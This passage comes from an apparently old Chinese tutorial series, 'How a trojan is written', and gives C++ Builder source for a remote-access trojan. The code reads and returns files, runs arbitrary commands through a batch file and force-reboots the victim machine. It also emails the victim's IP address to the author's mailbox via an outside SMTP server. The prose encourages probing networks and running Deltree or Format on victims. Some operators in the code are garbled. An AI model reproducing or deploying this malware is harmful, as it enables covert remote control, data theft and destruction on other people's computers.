够长吧？！察看目录树这么费劲啊？！你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了，Client将使用“type”命令，（手指累不累啊？）：
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已试了100次了
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text的内容加上刚才的字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text的内容，即你查看文件的内容
}
}
咳咳！累死了！还是来点轻松的吧??操纵目标机的光驱（注意：mciSendString()函数的声明在mmsystem.h头文件中）：
{
else if(temp=="open")
{
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就弹出光驱的托盘
}
else if(temp=="close")
{
file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光驱的托盘。当然你也可以搞个死循环，让他的光驱好好活动活动！^_^
}
}
接着就是交换目标机的鼠标左右键，代码如下：
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交换鼠标左右键，简单吧？
}
}
然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利，一个普通的进程是不应具备有调用系统的权利的，因此我们要赋予本程序足够的权限：
{
else if(temp=="reboot")
{
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion 0x80000000)
{
file://操作系统是WinNt，不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);
file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌
file://GetCurrentProcess()函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);
file://LookupPrivilegeValue()的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
}
}
如果以上都不是，就让它在Dos窗口中执行传来的命令：
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://创建Win369.bat，如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win369.bat
system(TempFile);
file://执行Win369.bat
Socket-SendText("Success");
file://返回“Success”信息
}
}
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况（判断是否是一个企业的局域网），然后可以进一步攻击，比如Deltree和Format命令。^_^
到此，服务器程序的功能已全部完成，但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友，别走开！（未完待续）
木马是如何编写的（三）
武汉 周侃
上次已编写完服务器端的各种功能，但还差容错部分还未完成,下面我们Go on! 其代码如下（照敲不误 ^_^）：
{
END:;
Socket-Close();
file://关闭服务
ServerSocket1-Active =true;
file://再次打开服务
if (NMSMTP1-Connected) NMSMTP1-Disconnect();
file://如果SMTP服务器已连接则断开
NMSMTP1-Host = "smtp.163.net";
file://选一个好用的SMTP服务器，如163、263、sina和btamail
NMSMTP1-UserID = "";
file://你SMTP的ID
try
{
NMSMTP1-Connect();
file://再次连接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1-PostMessage-FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1-PostMessage-FromName = "Casualty";
file://受害者的名字
NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";
file://将信发到我的邮箱，这一步很关键
NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;
file://信的内容提示你“服务器正在运行”，并且告诉你受害者的目前的IP地址，以便连接
NMSMTP1-PostMessage-Subject = "Server Runn
